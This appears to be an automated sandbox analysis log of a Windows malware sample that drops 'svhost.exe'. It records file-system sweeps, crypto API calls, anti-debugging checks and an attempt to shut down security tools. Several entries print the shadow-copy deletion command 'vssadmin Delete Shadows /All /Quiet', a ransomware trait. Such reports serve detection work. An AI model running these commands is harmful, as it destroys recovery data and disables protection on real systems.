Code function: 1_2_00AE9984 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00AE9984

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF61AC mov eax, dword ptr fs:[00000030h]		1_2_00AF61AC
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00B031CD mov eax, dword ptr fs:[00000030h]		1_2_00B031CD

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00AB68D0 std::ios_base::good,CryptStringToBinaryA,GetProcessHeap,HeapAlloc,CryptStringToBinaryA,CryptImportKey,GetProcessHeap,HeapFree,

1_2_00AB68D0

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00ADB3EB SetUnhandledExceptionFilter,	1_2_00ADB3EB
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00ADAA5E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00ADAA5E
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF508A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00AF508A
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00ADB258 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00ADB258

HIPS / PFW / Operating System Protection Evasion:

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Show sources

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

Message posted: Message id: QUERYENDSESSION

Jump to behavior

Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic.exe SHADOWCOPY /nointeractive	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic.exe SHADOWCOPY /nointeractive	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic.exe SHADOWCOPY /nointeractive	Jump to behavior

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00ADB490 cpuid

1_2_00ADB490

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	1_2_00ADA0E1
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: ___crtGetLocaleInfoEx,	1_2_00AD9CD2
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	1_2_00B09676
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: EnumSystemLocalesW,	1_2_00B017CF
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: EnumSystemLocalesW,	1_2_00B0991C
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: EnumSystemLocalesW,	1_2_00B09967
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_00B09A8F
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: EnumSystemLocalesW,	1_2_00B09A02
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: GetLocaleInfoW,	1_2_00B09CE5
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: GetLocaleInfoW,	1_2_00B01E09
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_00B09E0D
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_00B09FE8
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: GetLocaleInfoW,	1_2_00B09F15

Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\BCD VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\Recovery\WindowsRE\boot.sdi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\BCD.LOG VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\bg-BG\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\Recovery\WindowsRE\ReAgent.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\bg-BG\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\Recovery\WindowsRE\Winre.wim VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\MF\Active.GRL VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\boot.stl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\bootmgfw.efi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\MF\Pending.GRL VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\bootmgr.efi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\cs-CZ\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\cs-CZ\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\cs-CZ\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\da-DK\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\wfp\wfpdiag.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\da-DK\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\da-DK\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft Help\MS.EXCEL.16.1033.hxn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\de-DE\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft Help\MS.GRAPH.16.1033.hxn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\de-DE\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft Help\MS.GROOVE.16.1033.hxn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\de-DE\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft Help\MS.LYNC.16.1033.hxn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\el-GR\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft Help\MS.MSOUC.16.1033.hxn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\el-GR\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft Help\MS.MSPUB.16.1033.hxn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\el-GR\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft Help\nslist.hxl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\en-GB\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.001.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\en-GB\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.002.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\en-US\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\en-US\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.003.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\en-US\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.004.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\es-ES\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.005.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\es-ES\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.006.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\es-ES\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.007.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\es-MX\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.008.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\es-MX\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.009.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\et-EE\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.010.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\et-EE\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.011.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\fi-FI\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.012.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\fi-FI\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.013.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\fi-FI\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.014.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\fr-CA\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.015.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\fr-CA\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.016.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\fr-FR\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon.017.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\fr-FR\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\NotifyIcon_Temp.1.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\fr-FR\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\USOShared\Logs\UpdateUx_Temp.1.etl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\hr-HR\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\hr-HR\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\hu-HU\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\hu-HU\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\IdentityCRL\INT\wlidsvcconfig.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\hu-HU\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\it-IT\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\it-IT\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edbres00001.jrs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\it-IT\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ja-JP\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edbres00002.jrs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ja-JP\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ja-JP\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ko-KR\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ko-KR\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ko-KR\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\edb.jcp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\lt-LT\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\edb.jtx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\lt-LT\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\lv-LV\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\edbtmp.jtx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\lv-LV\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\memtest.efi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.chk VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00001.jrs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\nb-NO\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00002.jrs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\nb-NO\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\nb-NO\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\nl-NL\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\nl-NL\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\nl-NL\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\pl-PL\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\pl-PL\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\pl-PL\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\pt-BR\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\pt-BR\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\pt-BR\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\defaultuser0.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\pt-PT\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\guest.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\pt-PT\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\guest.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\pt-PT\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\user.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\qps-ploc\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\pratesh.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ro-RO\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\user-192.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ro-RO\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\user-32.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ru-RU\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\user-40.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ru-RU\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\user-48.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\ru-RU\memtest.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\user.bmp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\sk-SK\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\User Account Pictures\user.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\sk-SK\bootmgr.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\sl-SI\bootmgfw.efi.mui VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\AppxProvisioning.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Queries volume information: C:\EFI\Microsoft\Boot\sl-SI\bootmgr.efi.mui VolumeInformation	Jump to behavior
